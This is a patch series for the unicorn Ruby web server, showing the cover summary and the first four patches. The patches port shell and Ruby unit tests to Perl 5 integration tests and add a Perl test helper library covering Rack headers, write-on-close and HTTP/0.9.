port t0002-parser-error.sh to Perl 5
t/integration.t: use start_req to simplify test slighly
port t0011-active-unix-socket.sh to Perl 5
port t0100-rack-input-tests.sh to Perl 5
tests: use autodie to simplify error checking
port t0019-max_header_len.sh to Perl 5
test_exec: drop sd_listen_fds emulation test
test_exec: drop test_basic and test_config_ru_alt_path
tests: check_stderr consistently in Perl 5 tests
tests: consistent tcp_start and unix_start across Perl 5 tests
port t9000-preread-input.sh to Perl 5
port t/t0116-client_body_buffer_size.sh to Perl 5
tests: get rid of sha1sum.rb and rsha1() sh function
early_hints supports Rack 3 array headers
test_server: drop early_hints test
t/integration.t: switch PUT tests to MD5, reuse buffers
tests: move test_upload.rb tests to t/integration.t
drop redundant IO#close_on_exec=false calls
LISTEN_FDS-inherited sockets are immortal across SIGHUP
GNUmakefile | 7 +-
lib/unicorn/http_server.rb | 12 +-
t/README | 21 +-
t/active-unix-socket.t | 113 +++++++
t/bin/content-md5-put | 36 ---
t/bin/sha1sum.rb | 17 --
t/{t0116.ru => client_body_buffer_size.ru} | 2 -
t/client_body_buffer_size.t | 82 ++++++
t/integration.ru | 114 +++++++
t/integration.t | 326 +++++++++++++++++++++
t/lib.perl | 217 ++++++++++++++
t/preread_input.ru | 21 +-
t/rack-input-tests.ru | 21 --
t/t0000-http-basic.sh | 50 ----
t/t0002-parser-error.sh | 94 ------
t/t0011-active-unix-socket.sh | 79 -----
t/t0018-write-on-close.sh | 23 --
t/t0019-max_header_len.sh | 49 ----
t/t0100-rack-input-tests.sh | 124 --------
t/t0116-client_body_buffer_size.sh | 80 -----
t/t9000-preread-input.sh | 48 ---
t/test-lib.sh | 4 -
t/write-on-close.ru | 11 -
test/exec/test_exec.rb | 57 ----
test/unit/test_response.rb | 111 -------
test/unit/test_server.rb | 31 --
test/unit/test_upload.rb | 301 -------------------
27 files changed, 891 insertions(+), 1160 deletions(-)
create mode 100644 t/active-unix-socket.t
delete mode 100755 t/bin/content-md5-put
delete mode 100755 t/bin/sha1sum.rb
rename t/{t0116.ru => client_body_buffer_size.ru} (82%)
create mode 100644 t/client_body_buffer_size.t
create mode 100644 t/integration.ru
create mode 100644 t/integration.t
create mode 100644 t/lib.perl
delete mode 100644 t/rack-input-tests.ru
delete mode 100755 t/t0000-http-basic.sh
delete mode 100755 t/t0002-parser-error.sh
delete mode 100755 t/t0011-active-unix-socket.sh
delete mode 100755 t/t0018-write-on-close.sh
delete mode 100755 t/t0019-max_header_len.sh
delete mode 100755 t/t0100-rack-input-tests.sh
delete mode 100755 t/t0116-client_body_buffer_size.sh
delete mode 100755 t/t9000-preread-input.sh
delete mode 100644 t/write-on-close.ru
delete mode 100644 test/unit/test_response.rb
delete mode 100644 test/unit/test_upload.rb
[-- Attachment #2: 0001-switch-unit-test_response.rb-to-Perl-5-integration-t.patch --]
[-- Type: text/x-diff, Size: 15667 bytes --]
From 086e397abc0126556af24df77a976671294df2ee Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:30 +0000
Subject: [PATCH 01/23] switch unit/test_response.rb to Perl 5 integration test
http_response_write may benefit from API changes for Rack 3
support.
Since there's no benefit I can see from using a unit test,
switch to an integration test to avoid having to maintain the
unit test if our internal http_response_write method changes.
Of course, I can't trust tests written in Ruby since I've had to
put up with a constant stream of incompatibilities over the past
two decades :< Perl is more widely installed than socat[1], and
nearly all the Perl I wrote 20 years ago still works
unmodified today.
[1] the rarest dependency of the Bourne shell integration tests
---
GNUmakefile | 5 +-
t/README | 24 +++--
t/integration.ru | 38 ++++++++
t/integration.t | 64 +++++++++++++
t/lib.perl | 189 +++++++++++++++++++++++++++++++++++++
test/unit/test_response.rb | 111 ----------------------
6 files changed, 313 insertions(+), 118 deletions(-)
create mode 100644 t/integration.ru
create mode 100644 t/integration.t
create mode 100644 t/lib.perl
delete mode 100644 test/unit/test_response.rb
diff --git a/GNUmakefile b/GNUmakefile
index 0e08ef0..5cca189 100644
--- a/GNUmakefile
+++ b/GNUmakefile
@@ -86,7 +86,7 @@ $(tmp_bin)/%: bin/% | $(tmp_bin)
bins: $(tmp_bins)
t_log := $(T_log) $(T_n_log)
-test: $(T) $(T_n)
+test: $(T) $(T_n) test-prove
@cat $(t_log) | $(MRI) test/aggregate.rb
@$(RM) $(t_log)
@@ -141,6 +141,9 @@ t/random_blob:
test-integration: $(T_sh)
+test-prove:
+ prove -vw
+
check: test-require test test-integration
test-all: check
diff --git a/t/README b/t/README
index 14de559..8a5243e 100644
--- a/t/README
+++ b/t/README
@@ -5,16 +5,24 @@ TCP ports or Unix domain sockets. They're all designed to run
concurrently with other tests to minimize test time, but tests may be
run independently as well.
-We write our tests in Bourne shell because that's what we're
-comfortable writing integration tests with.
+New tests are written in Perl 5 because we need a stable language
+to test real-world behavior and Ruby introduces incompatibilities
+at a far faster rate than Perl 5. Perl is Ruby's older cousin, so
+it should be easy-to-learn for Rubyists.
+
+Old tests are in Bourne shell, but the socat(1) dependency was probably
+too rare compared to Perl 5.
== Requirements
-* {Ruby 2.0.0+}[https://www.ruby-lang.org/en/] (duh!)
+* {Ruby 2.0.0+}[https://www.ruby-lang.org/en/]
+* {Perl 5.14+}[https://www.perl.org/] # your distro should have it
* {GNU make}[https://www.gnu.org/software/make/]
+
+The following requirements will eventually be dropped.
+
* {socat}[http://www.dest-unreach.org/socat/]
* {curl}[https://curl.haxx.se/]
-* standard UNIX shell utilities (Bourne sh, awk, sed, grep, ...)
We do not use bashisms or any non-portable, non-POSIX constructs
in our shell code. We use the "pipefail" option if available and
@@ -26,9 +34,13 @@ with {dash}[http://gondor.apana.org.au/~herbert/dash/] and
To run the entire test suite with 8 tests running at once:
- make -j8
+ make -j8 && prove -vw
+
+To run one individual test (Perl5):
+
+ prove -vw t/integration.t
-To run one individual test:
+To run one individual test (shell):
make t0000-simple-http.sh
diff --git a/t/integration.ru b/t/integration.ru
new file mode 100644
index 0000000..6ef873c
--- /dev/null
+++ b/t/integration.ru
@@ -0,0 +1,38 @@
+#!ruby
+# Copyright (C) unicorn hackers <unicorn-public@80x24.org>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+
+# this goes for t/integration.t We'll try to put as many tests
+# in here as possible to avoid startup overhead of Ruby.
+
+$orig_rack_200 = nil
+def tweak_status_code
+ $orig_rack_200 = Rack::Utils::HTTP_STATUS_CODES[200]
+ Rack::Utils::HTTP_STATUS_CODES[200] = "HI"
+ [ 200, {}, [] ]
+end
+
+def restore_status_code
+ $orig_rack_200 or return [ 500, {}, [] ]
+ Rack::Utils::HTTP_STATUS_CODES[200] = $orig_rack_200
+ [ 200, {}, [] ]
+end
+
+run(lambda do |env|
+ case env['REQUEST_METHOD']
+ when 'GET'
+ case env['PATH_INFO']
+ when '/rack-2-newline-headers'; [ 200, { 'X-R2' => "a\nb\nc" }, [] ]
+ when '/nil-header-value'; [ 200, { 'X-Nil' => nil }, [] ]
+ when '/unknown-status-pass-through'; [ '666 I AM THE BEAST', {}, [] ]
+ end # case PATH_INFO (GET)
+ when 'POST'
+ case env['PATH_INFO']
+ when '/tweak-status-code'; tweak_status_code
+ when '/restore-status-code'; restore_status_code
+ end # case PATH_INFO (POST)
+ # ...
+ when 'PUT'
+ # ...
+ end # case REQUEST_METHOD
+end) # run
diff --git a/t/integration.t b/t/integration.t
new file mode 100644
index 0000000..5569155
--- /dev/null
+++ b/t/integration.t
@@ -0,0 +1,64 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@yhbt.net>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+
+use v5.14; BEGIN { require './t/lib.perl' };
+my $srv = tcp_server();
+my $t0 = time;
+my $ar = unicorn(qw(-E none t/integration.ru), { 3 => $srv });
+
+sub slurp_hdr {
+ my ($c) = @_;
+ local $/ = "\r\n\r\n"; # affects both readline+chomp
+ chomp(my $hdr = readline($c));
+ my ($status, @hdr) = split(/\r\n/, $hdr);
+ diag explain([ $status, \@hdr ]) if $ENV{V};
+ ($status, \@hdr);
+}
+
+my ($c, $status, $hdr);
+
+# response header tests
+$c = tcp_connect($srv);
+print $c "GET /rack-2-newline-headers HTTP/1.0\r\n\r\n" or die $!;
+($status, $hdr) = slurp_hdr($c);
+like($status, qr!\AHTTP/1\.[01] 200\b!, 'status line valid');
+my $orig_200_status = $status;
+is_deeply([ grep(/^X-R2: /, @$hdr) ],
+ [ 'X-R2: a', 'X-R2: b', 'X-R2: c' ],
+ 'rack 2 LF-delimited headers supported') or diag(explain($hdr));
+
+SKIP: { # Date header check
+ my @d = grep(/^Date: /i, @$hdr);
+ is(scalar(@d), 1, 'got one date header') or diag(explain(\@d));
+ eval { require HTTP::Date } or skip "HTTP::Date missing: $@", 1;
+ $d[0] =~ s/^Date: //i or die 'BUG: did not strip date: prefix';
+ my $t = HTTP::Date::str2time($d[0]);
+ ok($t >= $t0 && $t > 0 && $t <= time, 'valid date') or
+ diag(explain([$t, $!, \@d]));
+};
+
+# cf. <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
+$c = tcp_connect($srv);
+print $c "GET /nil-header-value HTTP/1.0\r\n\r\n" or die $!;
+($status, $hdr) = slurp_hdr($c);
+is_deeply([grep(/^X-Nil:/, @$hdr)], ['X-Nil: '],
+ 'nil header value accepted for broken apps') or diag(explain($hdr));
+
+if ('TODO: ensure Rack::Utils::HTTP_STATUS_CODES is available') {
+ $c = tcp_connect($srv);
+ print $c "POST /tweak-status-code HTTP/1.0\r\n\r\n" or die $!;
+ ($status, $hdr) = slurp_hdr($c);
+ like($status, qr!\AHTTP/1\.[01] 200 HI\b!, 'status tweaked');
+
+ $c = tcp_connect($srv);
+ print $c "POST /restore-status-code HTTP/1.0\r\n\r\n" or die $!;
+ ($status, $hdr) = slurp_hdr($c);
+ is($status, $orig_200_status, 'original status restored');
+}
+
+
+# ... more stuff here
+undef $ar;
+diag slurp("$tmpdir/err.log") if $ENV{V};
+done_testing;
diff --git a/t/lib.perl b/t/lib.perl
new file mode 100644
index 0000000..dd9c6b7
--- /dev/null
+++ b/t/lib.perl
@@ -0,0 +1,189 @@
+#!perl -w
+# Copyright (C) unicorn hackers <unicorn-public@80x24.org>
+# License: GPL-3.0+ <https://www.gnu.org/licenses/gpl-3.0.txt>
+package UnicornTest;
+use v5.14;
+use parent qw(Exporter);
+use Test::More;
+use IO::Socket::INET;
+use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
+use File::Temp 0.19 (); # 0.19 for ->newdir
+our ($tmpdir, $errfh);
+our @EXPORT = qw(unicorn slurp tcp_server tcp_connect unicorn $tmpdir $errfh
+ SEEK_SET);
+
+my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
+$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
+open($errfh, '>>', "$tmpdir/err.log") or die "open: $!";
+
+sub tcp_server {
+ my %opt = (
+ ReuseAddr => 1,
+ Proto => 'tcp',
+ Type => SOCK_STREAM,
+ Listen => SOMAXCONN,
+ Blocking => 0,
+ @_,
+ );
+ eval {
+ die 'IPv4-only' if $ENV{TEST_IPV4_ONLY};
+ require IO::Socket::INET6;
+ IO::Socket::INET6->new(%opt, LocalAddr => '[::1]')
+ } || eval {
+ die 'IPv6-only' if $ENV{TEST_IPV6_ONLY};
+ IO::Socket::INET->new(%opt, LocalAddr => '127.0.0.1')
+ } || BAIL_OUT "failed to create TCP server: $! ($@)";
+}
+
+sub tcp_host_port {
+ my ($s) = @_;
+ my ($h, $p) = ($s->sockhost, $s->sockport);
+ my $ipv4 = $s->sockdomain == AF_INET;
+ if (wantarray) {
+ $ipv4 ? ($h, $p) : ("[$h]", $p);
+ } else {
+ $ipv4 ? "$h:$p" : "[$h]:$p";
+ }
+}
+
+sub tcp_connect {
+ my ($dest, %opt) = @_;
+ my $addr = tcp_host_port($dest);
+ my $s = ref($dest)->new(
+ Proto => 'tcp',
+ Type => SOCK_STREAM,
+ PeerAddr => $addr,
+ %opt,
+ ) or BAIL_OUT "failed to connect to $addr: $!";
+ $s->autoflush(1);
+ $s;
+}
+
+sub slurp {
+ open my $fh, '<', $_[0] or die "open($_[0]): $!";
+ local $/;
+ <$fh>;
+}
+
+sub spawn {
+ my $env = ref($_[0]) eq 'HASH' ? shift : undef;
+ my $opt = ref($_[-1]) eq 'HASH' ? pop : {};
+ my @cmd = @_;
+ my $old = POSIX::SigSet->new;
+ my $set = POSIX::SigSet->new;
+ $set->fillset or die "sigfillset: $!";
+ sigprocmask(SIG_SETMASK, $set, $old) or die "SIG_SETMASK: $!";
+ pipe(my ($r, $w)) or die "pipe: $!";
+ my $pid = fork // die "fork: $!";
+ if ($pid == 0) {
+ close $r;
+ $SIG{__DIE__} = sub {
+ warn(@_);
+ syswrite($w, my $num = $! + 0);
+ _exit(1);
+ };
+
+ # pretend to be systemd (cf. sd_listen_fds(3))
+ my $cfd;
+ for ($cfd = 0; ($cfd < 3) || defined($opt->{$cfd}); $cfd++) {
+ my $io = $opt->{$cfd} // next;
+ my $pfd = fileno($io) // die "fileno($io): $!";
+ if ($pfd == $cfd) {
+ fcntl($io, F_SETFD, 0) // die "F_SETFD: $!";
+ } else {
+ dup2($pfd, $cfd) // die "dup2($pfd, $cfd): $!";
+ }
+ }
+ if (($cfd - 3) > 0) {
+ $env->{LISTEN_PID} = $$;
+ $env->{LISTEN_FDS} = $cfd - 3;
+ }
+
+ if (defined(my $pgid = $opt->{pgid})) {
+ setpgid(0, $pgid) // die "setpgid(0, $pgid): $!";
+ }
+ $SIG{$_} = 'DEFAULT' for grep(!/^__/, keys %SIG);
+ if (defined(my $cd = $opt->{-C})) {
+ chdir $cd // die "chdir($cd): $!";
+ }
+ $old->delset(POSIX::SIGCHLD) or die "sigdelset CHLD: $!";
+ sigprocmask(SIG_SETMASK, $old) or die "SIG_SETMASK: ~CHLD: $!";
+ @ENV{keys %$env} = values(%$env) if $env;
+ exec { $cmd[0] } @cmd;
+ die "exec @cmd: $!";
+ }
+ close $w;
+ sigprocmask(SIG_SETMASK, $old) or die "SIG_SETMASK(old): $!";
+ if (my $cerrnum = do { local $/, <$r> }) {
+ $! = $cerrnum;
+ die "@cmd PID=$pid died: $!";
+ }
+ $pid;
+}
+
+sub which {
+ my ($file) = @_;
+ return $file if index($file, '/') >= 0;
+ for my $p (split(/:/, $ENV{PATH})) {
+ $p .= "/$file";
+ return $p if -x $p;
+ }
+ undef;
+}
+
+# returns an AutoReap object
+sub unicorn {
+ my %env;
+ if (ref($_[0]) eq 'HASH') {
+ my $e = shift;
+ %env = %$e;
+ }
+ my @args = @_;
+ push(@args, {}) if ref($args[-1]) ne 'HASH';
+ $args[-1]->{2} //= $errfh; # stderr default
+
+ state $ruby = which($ENV{RUBY} // 'ruby');
+ state $lib = File::Spec->rel2abs('lib');
+ state $ver = $ENV{TEST_RUBY_VERSION} // `$ruby -e 'print RUBY_VERSION'`;
+ state $eng = $ENV{TEST_RUBY_ENGINE} // `$ruby -e 'print RUBY_ENGINE'`;
+ state $ext = File::Spec->rel2abs("test/$eng-$ver/ext/unicorn_http");
+ state $exe = File::Spec->rel2abs('bin/unicorn');
+ my $pid = spawn(\%env, $ruby, '-I', $lib, '-I', $ext, $exe, @args);
+ UnicornTest::AutoReap->new($pid);
+}
+
+# automatically kill + reap children when this goes out-of-scope
+package UnicornTest::AutoReap;
+use v5.14;
+
+sub new {
+ my (undef, $pid) = @_;
+ bless { pid => $pid, owner => $$ }, __PACKAGE__
+}
+
+sub kill {
+ my ($self, $sig) = @_;
+ CORE::kill($sig // 'TERM', $self->{pid});
+}
+
+sub join {
+ my ($self, $sig) = @_;
+ my $pid = delete $self->{pid} or return;
+ CORE::kill($sig, $pid) if defined $sig;
+ my $ret = waitpid($pid, 0) // die "waitpid($pid): $!";
+ $ret == $pid or die "BUG: waitpid($pid) != $ret";
+}
+
+sub DESTROY {
+ my ($self) = @_;
+ return if $self->{owner} != $$;
+ $self->join('TERM');
+}
+
+package main; # inject ourselves into the t/*.t script
+UnicornTest->import;
+Test::More->import;
+# try to ensure ->DESTROY fires:
+$SIG{TERM} = sub { exit(15 + 128) };
+$SIG{INT} = sub { exit(2 + 128) };
+1;
diff --git a/test/unit/test_response.rb b/test/unit/test_response.rb
deleted file mode 100644
index fbe433f..0000000
--- a/test/unit/test_response.rb
+++ /dev/null
@@ -1,111 +0,0 @@
-# -*- encoding: binary -*-
-
-# Copyright (c) 2005 Zed A. Shaw
-# You can redistribute it and/or modify it under the same terms as Ruby 1.8 or
-# the GPLv2+ (GPLv3+ preferred)
-#
-# Additional work donated by contributors. See git history
-# for more information.
-
-require './test/test_helper'
-require 'time'
-
-include Unicorn
-
-class ResponseTest < Test::Unit::TestCase
- include Unicorn::HttpResponse
-
- def test_httpdate
- before = Time.now.to_i - 1
- str = httpdate
- assert_kind_of(String, str)
- middle = Time.parse(str).to_i
- after = Time.now.to_i
- assert before <= middle
- assert middle <= after
- end
-
- def test_response_headers
- out = StringIO.new
- http_response_write(out, 200, {"X-Whatever" => "stuff"}, ["cool"])
- assert ! out.closed?
-
- assert out.length > 0, "output didn't have data"
- end
-
- # ref: <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
- def test_response_header_broken_nil
- out = StringIO.new
- http_response_write(out, 200, {"Nil" => nil}, %w(hysterical raisin))
- assert ! out.closed?
-
- assert_match %r{^Nil: \r\n}sm, out.string, 'nil accepted'
- end
-
- def test_response_string_status
- out = StringIO.new
- http_response_write(out,'200', {}, [])
- assert ! out.closed?
- assert out.length > 0, "output didn't have data"
- end
-
- def test_response_200
- io = StringIO.new
- http_response_write(io, 200, {}, [])
- assert ! io.closed?
- assert io.length > 0, "output didn't have data"
- end
-
- def test_response_with_default_reason
- code = 400
- io = StringIO.new
- http_response_write(io, code, {}, [])
- assert ! io.closed?
- lines = io.string.split(/\r\n/)
- assert_match(/.* Bad Request$/, lines.first,
- "wrong default reason phrase")
- end
-
- def test_rack_multivalue_headers
- out = StringIO.new
- http_response_write(out,200, {"X-Whatever" => "stuff\nbleh"}, [])
- assert ! out.closed?
- assert_match(/^X-Whatever: stuff\r\nX-Whatever: bleh\r\n/, out.string)
- end
-
- # Even though Rack explicitly forbids "Status" in the header hash,
- # some broken clients still rely on it
- def test_status_header_added
- out = StringIO.new
- http_response_write(out,200, {"X-Whatever" => "stuff"}, [])
- assert ! out.closed?
- end
-
- def test_unknown_status_pass_through
- out = StringIO.new
- http_response_write(out,"666 I AM THE BEAST", {}, [] )
- assert ! out.closed?
- headers = out.string.split(/\r\n\r\n/).first.split(/\r\n/)
- assert %r{\AHTTP/\d\.\d 666 I AM THE BEAST\z}.match(headers[0])
- end
-
- def test_modified_rack_http_status_codes_late
- r, w = IO.pipe
- pid = fork do
- r.close
- # Users may want to globally override the status text associated
- # with an HTTP status code in their app.
- Rack::Utils::HTTP_STATUS_CODES[200] = "HI"
- http_response_write(w, 200, {}, [])
- w.close
- end
- w.close
- assert_equal "HTTP/1.1 200 HI\r\n", r.gets
- r.read # just drain the pipe
- pid, status = Process.waitpid2(pid)
- assert status.success?, status.inspect
- ensure
- r.close
- w.close unless w.closed?
- end
-end
[-- Attachment #3: 0002-support-rack-3-multi-value-headers.patch --]
[-- Type: text/x-diff, Size: 1710 bytes --]
From ea0559c700fa029044464de4bd572662c10b7273 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:31 +0000
Subject: [PATCH 02/23] support rack 3 multi-value headers
The first step in adding Rack 3 support. Rack supports
multi-value headers via array rather than newlines.
Tested-by: Martin Posthumus <martin.posthumus@gmail.com>
Link: https://yhbt.net/unicorn-public/7c851d8a-bc57-7df8-3240-2f5ab831c47c@gmail.com/
---
t/integration.ru | 1 +
t/integration.t | 9 +++++++++
2 files changed, 10 insertions(+)
diff --git a/t/integration.ru b/t/integration.ru
index 6ef873c..5183217 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -23,6 +23,7 @@ def restore_status_code
when 'GET'
case env['PATH_INFO']
when '/rack-2-newline-headers'; [ 200, { 'X-R2' => "a\nb\nc" }, [] ]
+ when '/rack-3-array-headers'; [ 200, { 'x-r3' => %w(a b c) }, [] ]
when '/nil-header-value'; [ 200, { 'X-Nil' => nil }, [] ]
when '/unknown-status-pass-through'; [ '666 I AM THE BEAST', {}, [] ]
end # case PATH_INFO (GET)
diff --git a/t/integration.t b/t/integration.t
index 5569155..e876c71 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -38,6 +38,15 @@ SKIP: { # Date header check
diag(explain([$t, $!, \@d]));
};
+
+$c = tcp_connect($srv);
+print $c "GET /rack-3-array-headers HTTP/1.0\r\n\r\n" or die $!;
+($status, $hdr) = slurp_hdr($c);
+is_deeply([ grep(/^x-r3: /, @$hdr) ],
+ [ 'x-r3: a', 'x-r3: b', 'x-r3: c' ],
+ 'rack 3 array headers supported') or diag(explain($hdr));
+
+
# cf. <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
$c = tcp_connect($srv);
print $c "GET /nil-header-value HTTP/1.0\r\n\r\n" or die $!;
[-- Attachment #4: 0003-port-t0018-write-on-close.sh-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 4091 bytes --]
From 295a6c616f8840bc04617a377c04c3422aeebddc Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:32 +0000
Subject: [PATCH 03/23] port t0018-write-on-close.sh to Perl 5
This doesn't require restarting, so it's a perfect candidate.
---
t/integration.ru | 15 +++++++++++++++
t/integration.t | 14 +++++++++++++-
t/lib.perl | 2 +-
t/t0018-write-on-close.sh | 23 -----------------------
t/write-on-close.ru | 11 -----------
5 files changed, 29 insertions(+), 36 deletions(-)
delete mode 100755 t/t0018-write-on-close.sh
delete mode 100644 t/write-on-close.ru
diff --git a/t/integration.ru b/t/integration.ru
index 5183217..12f5d48 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -18,6 +18,20 @@ def restore_status_code
[ 200, {}, [] ]
end
+class WriteOnClose
+ def each(&block)
+ @callback = block
+ end
+
+ def close
+ @callback.call "7\r\nGoodbye\r\n0\r\n\r\n"
+ end
+end
+
+def write_on_close
+ [ 200, { 'transfer-encoding' => 'chunked' }, WriteOnClose.new ]
+end
+
run(lambda do |env|
case env['REQUEST_METHOD']
when 'GET'
@@ -26,6 +40,7 @@ def restore_status_code
when '/rack-3-array-headers'; [ 200, { 'x-r3' => %w(a b c) }, [] ]
when '/nil-header-value'; [ 200, { 'X-Nil' => nil }, [] ]
when '/unknown-status-pass-through'; [ '666 I AM THE BEAST', {}, [] ]
+ when '/write_on_close'; write_on_close
end # case PATH_INFO (GET)
when 'POST'
case env['PATH_INFO']
diff --git a/t/integration.t b/t/integration.t
index e876c71..3ab5c90 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -4,6 +4,7 @@
use v5.14; BEGIN { require './t/lib.perl' };
my $srv = tcp_server();
+my $host_port = tcp_host_port($srv);
my $t0 = time;
my $ar = unicorn(qw(-E none t/integration.ru), { 3 => $srv });
@@ -66,8 +67,19 @@ if ('TODO: ensure Rack::Utils::HTTP_STATUS_CODES is available') {
is($status, $orig_200_status, 'original status restored');
}
+SKIP: {
+ eval { require HTTP::Tiny } or skip "HTTP::Tiny missing: $@", 1;
+ my $ht = HTTP::Tiny->new;
+ my $res = $ht->get("http://$host_port/write_on_close");
+ is($res->{content}, 'Goodbye', 'write-on-close body read');
+}
# ... more stuff here
undef $ar;
-diag slurp("$tmpdir/err.log") if $ENV{V};
+my @log = slurp("$tmpdir/err.log");
+diag("@log") if $ENV{V};
+my @err = grep(!/NameError.*Unicorn::Waiter/, grep(/error/i, @log));
+is_deeply(\@err, [], 'no unexpected errors in stderr');
+is_deeply([grep(/SIGKILL/, @log)], [], 'no SIGKILL in stderr');
+
done_testing;
diff --git a/t/lib.perl b/t/lib.perl
index dd9c6b7..12deaf8 100644
--- a/t/lib.perl
+++ b/t/lib.perl
@@ -10,7 +10,7 @@ use POSIX qw(dup2 _exit setpgid :signal_h SEEK_SET F_SETFD);
use File::Temp 0.19 (); # 0.19 for ->newdir
our ($tmpdir, $errfh);
our @EXPORT = qw(unicorn slurp tcp_server tcp_connect unicorn $tmpdir $errfh
- SEEK_SET);
+ SEEK_SET tcp_host_port);
my ($base) = ($0 =~ m!\b([^/]+)\.[^\.]+\z!);
$tmpdir = File::Temp->newdir("unicorn-$base-XXXX", TMPDIR => 1);
diff --git a/t/t0018-write-on-close.sh b/t/t0018-write-on-close.sh
deleted file mode 100755
index 3afefea..0000000
--- a/t/t0018-write-on-close.sh
+++ /dev/null
@@ -1,23 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-t_plan 4 "write-on-close tests for funky response-bodies"
-
-t_begin "setup and start" && {
- unicorn_setup
- unicorn -D -c $unicorn_config write-on-close.ru
- unicorn_wait_start
-}
-
-t_begin "write-on-close response body succeeds" && {
- test xGoodbye = x"$(curl -sSf http://$listen/)"
-}
-
-t_begin "killing succeeds" && {
- kill $unicorn_pid
-}
-
-t_begin "check stderr" && {
- check_stderr
-}
-
-t_done
diff --git a/t/write-on-close.ru b/t/write-on-close.ru
deleted file mode 100644
index 725c4d6..0000000
--- a/t/write-on-close.ru
+++ /dev/null
@@ -1,11 +0,0 @@
-class WriteOnClose
- def each(&block)
- @callback = block
- end
-
- def close
- @callback.call "7\r\nGoodbye\r\n0\r\n\r\n"
- end
-end
-use Rack::ContentType, "text/plain"
-run(lambda { |_| [ 200, { 'transfer-encoding' => 'chunked' }, WriteOnClose.new ] })
[-- Attachment #5: 0004-port-t0000-http-basic.sh-to-Perl-5.patch --]
[-- Type: text/x-diff, Size: 3372 bytes --]
From 1bb4362cee167ac7aeec910d3f52419e391f1e61 Mon Sep 17 00:00:00 2001
From: Eric Wong <BOFH@YHBT.net>
Date: Mon, 5 Jun 2023 10:12:33 +0000
Subject: [PATCH 04/23] port t0000-http-basic.sh to Perl 5
One more socat dependency down...
---
t/integration.ru | 16 ++++++++++++++
t/integration.t | 11 ++++++++++
t/t0000-http-basic.sh | 50 -------------------------------------------
3 files changed, 27 insertions(+), 50 deletions(-)
delete mode 100755 t/t0000-http-basic.sh
diff --git a/t/integration.ru b/t/integration.ru
index 12f5d48..c0bef99 100644
--- a/t/integration.ru
+++ b/t/integration.ru
@@ -32,6 +32,21 @@ def write_on_close
[ 200, { 'transfer-encoding' => 'chunked' }, WriteOnClose.new ]
end
+def env_dump(env)
+ require 'json'
+ h = {}
+ env.each do |k,v|
+ case v
+ when String, Integer, true, false; h[k] = v
+ else
+ case k
+ when 'rack.version', 'rack.after_reply'; h[k] = v
+ end
+ end
+ end
+ h.to_json
+end
+
run(lambda do |env|
case env['REQUEST_METHOD']
when 'GET'
@@ -40,6 +55,7 @@ def write_on_close
when '/rack-3-array-headers'; [ 200, { 'x-r3' => %w(a b c) }, [] ]
when '/nil-header-value'; [ 200, { 'X-Nil' => nil }, [] ]
when '/unknown-status-pass-through'; [ '666 I AM THE BEAST', {}, [] ]
+ when '/env_dump'; [ 200, {}, [ env_dump(env) ] ]
when '/write_on_close'; write_on_close
end # case PATH_INFO (GET)
when 'POST'
diff --git a/t/integration.t b/t/integration.t
index 3ab5c90..ee22e7e 100644
--- a/t/integration.t
+++ b/t/integration.t
@@ -47,6 +47,17 @@ is_deeply([ grep(/^x-r3: /, @$hdr) ],
[ 'x-r3: a', 'x-r3: b', 'x-r3: c' ],
'rack 3 array headers supported') or diag(explain($hdr));
+SKIP: {
+ eval { require JSON::PP } or skip "JSON::PP missing: $@", 1;
+ $c = tcp_connect($srv);
+ print $c "GET /env_dump\r\n" or die $!;
+ my $json = do { local $/; readline($c) };
+ unlike($json, qr/^Connection: /smi, 'no connection header for 0.9');
+ unlike($json, qr!\AHTTP/!s, 'no HTTP/1.x prefix for 0.9');
+ my $env = JSON::PP->new->decode($json);
+ is(ref($env), 'HASH', 'JSON decoded body to hashref');
+ is($env->{SERVER_PROTOCOL}, 'HTTP/0.9', 'SERVER_PROTOCOL is 0.9');
+}
# cf. <CAO47=rJa=zRcLn_Xm4v2cHPr6c0UswaFC_omYFEH+baSxHOWKQ@mail.gmail.com>
$c = tcp_connect($srv);
diff --git a/t/t0000-http-basic.sh b/t/t0000-http-basic.sh
deleted file mode 100755
index 8ab58ac..0000000
--- a/t/t0000-http-basic.sh
+++ /dev/null
@@ -1,50 +0,0 @@
-#!/bin/sh
-. ./test-lib.sh
-t_plan 8 "simple HTTP connection tests"
-
-t_begin "setup and start" && {
- unicorn_setup
- unicorn -D -c $unicorn_config env.ru
- unicorn_wait_start
-}
-
-t_begin "single request" && {
- curl -sSfv http://$listen/
-}
-
-t_begin "check stderr has no errors" && {
- check_stderr
-}
-
-t_begin "HTTP/0.9 request should not return headers" && {
- (
- printf 'GET /\r\n'
- cat $fifo > $tmp &
- wait
- echo ok > $ok
- ) | socat - TCP:$listen > $fifo
-}
-
-t_begin "env.inspect should've put everything on one line" && {
- test 1 -eq $(count_lines < $tmp)
-}
-
-t_begin "no headers in output" && {
- if grep ^Connection: $tmp
- then
- die "Connection header found in $tmp"
- elif grep ^HTTP/ $tmp
- then
- die "HTTP/ found in $tmp"
- fi
-}
-
-t_begin "killing succeeds" && {
- kill $unicorn_pid
-}
-
-t_begin "check stderr has no errors" && {
- check_stderr
-}
-
-t_done
